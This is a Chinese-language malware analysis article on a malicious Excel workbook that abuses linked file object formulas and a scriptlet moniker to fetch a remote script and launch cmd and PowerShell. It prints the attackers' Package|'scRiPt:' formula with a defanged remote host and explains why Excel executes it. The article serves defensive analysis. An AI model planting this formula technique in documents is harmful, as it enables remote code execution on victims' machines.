导语:恶意攻击的更新迭代可谓是一天一个样,让人防不胜防,就在11月初McAfee公司的安全专家们刚刚发现了一个新兴的攻击技术——DDE技术, 攻击者们利用这一技术不需要用户交互即可运行嵌入到Office文档内的有害代码。
恶意攻击的更新迭代可谓是一天一个样,让人防不胜防,就在11月初McAfee公司的安全专家们刚刚发现了一个新兴的攻击技术——DDE技术, 攻击者们利用这一技术不需要用户交互即可运行嵌入到Office文档内的有害代码。该协议使得一个Office应用能加载其他Office应用的资料,该协议目前已被微软的目标链接与嵌入(OLE)协议所代替,但DDE协议仍然能够使用。DDE技术漏洞曾被许多不法分子利用,但微软并不计划推出一些安全手段来抑制DDE攻击,因为他们认为DDE技术的这些特性是合法的。
不过就在最近,lastline 公司的安全研究人员发现,DDE的攻击方式又出现了新的迭代,即利用Excel进行攻击。这得益于他们发现的一个恶意Excel文件,该文件似乎可以下载和执行恶意软件。不过对该文件进行检查时,研究人员并没有看到任何具有宏,shellcode或DDE。他们把这些文件在Virustotal上进行了扫描,发现这其实是一个新的攻击技术。
感染过程
打开此Excel文件后,会出现一个进行更新的链接https://support.office.com/en-us/article/Insert-an-object-in-your-Excel-spreadsheet-e73867b2-2988-4116-8d85-f5769ea435ba,它会提示用户立即对工作簿进行更新。这个外部链接允许用户与其他人共享一个Office文档,这一点尤其方便那些做一个项目的人员,这种文档更新方式会使文档大小更小,使用更灵活。从这个角度来看,这种新的攻击看起来非常类似于DDE攻击,即滥用微软的动态数据交换,执行代码。
在更新链接时,Excel文档会立即生成cmd/PowerShell进程,下载并执行下一个阶段(exe):
Exe的传播:
虽然检查Excel文件时,并没有发现DDE攻击的证据,但可以发现一个脚本单元格,其中包含了公式=Package|’scRiPt:http://magchris[.]ga/images/squrey.xml’!””。
检查这个URL,可以发现它指向的是一个Microsoft scriptlet, 一个用于脚本语言的Microsoft XML包装器,以便将自己注册为COM对象并执行。这个经过伪装的scriptlet封装了一个VBScript,这样设计的目的是下载并执行第二阶段的恶意软件。
文件对象的链接
虽然使用的公式格式可能显得很奇怪,但它实际上是Excel中的链接文件对象的标准格式,下图演示了如何创建一个指向Excel中文件对象的链接:
链接提交后,单元格公式就会变为:=Package|’C:usersmyfile.txtl’!””。这样,该公式就会导致Excel电子表格在用户的Excel文档中建立一个与本地文件的链接。此时,利用这个链接就可以进行恶意目的了。
攻击者如何滥用链接的文件对象
要理解如何利用这个漏洞,我们就需要看看Office是如何解析这个公式的。当用户选择“更新链接”时,Excel将解析此公式的路径部分,并将其传递给MkParseDisplayName API函数。 MkParseDisplayName负责将可读的URI(例如 “scRiPt:http://magchris[.]ga/images/squrey.xml”)解析为与URI模式最相关的名称中,该名称只是一个可以绑定或应用于资源的对象接口,例如,本地文件URI将被检测为本地文件资源 ,从而返回一个FileMoniker进行对象交互。下表显示了如何将不同的资源URI作为标记符进行处理:
如上所示,由于攻击者在其资源URI中指定了“script:”前缀,因此MkParseDisplayName会将该资源标识为Scriptlet,从而将名称对象返回给Windows脚本组件(ComScriptletMoniker – {06290BD3-48AA-11D2-8432 -006008C3FBFC})。
现在,Windows脚本组件的名称对象就与Excel中的链接对象相关联,攻击仅是脚本执行的一个API。在名称被解析之后,让我们看看它是否看起来像FileMoniker,如下面的反汇编所示。
在这个恶意工作簿中,该名称被没有被检测为FileMoniker,而是检测为MKSYS_NONE,因为它是ComScriptletMoniker。这会导致执行被转移到一个MSO.dll调用(下图的红色部分),它会将调用封装到OleCreateLink:
当与scriptlet moniker关联的链接数据传递给OleCreateLink API时,就会下载并执行远程资源,从而导致系统被攻击。下图显示了Excel在用户更新工作簿链接时被调试的情况,这会导致OleCreateLink调用(使用scriptlet moniker)并执行远程脚本,从而进一步导致cmd和PowerShell的执行(见右下窗口Processhacker.exe)。
有效载荷
虽然这个漏洞的攻击效果很好,但似乎目前该方法只针对特定的样本,因为在缺少“.exe”文件扩展名的可执行文件上使用Powershell“Start”命令时,可能会导致最终的有效载荷无法被执行。由于Powershell“Start”命令使用了“ShellExecute”API来查找与目标文件扩展名关联的应用程序,因此有效载荷无法被正常启动。但是,从下图的沙箱分析屏幕截图中可以看到,虽然恶意目的无法达成,但这些异常情况和利用步骤还是被检测到了并被评为恶意软件。
由于时间较短,这个迭代攻击没有让有效载荷在所有的情况下运行,但我相信,随着时间的推移,这个攻击方法肯定会被不断地完善。
总结
近几个月来,我们看到攻击者频繁利用Office中的一些逻辑缺陷来攻击用户。 这些缺陷可以让攻击者不断地对自己的攻击方法和工具进行升级,并屡屡得逞。同时,逻辑缺陷通常不需要攻击者在文档中嵌入任何传统的shellcode,这就使得使用传统的基于签名的检测方案难以发现这样的漏洞。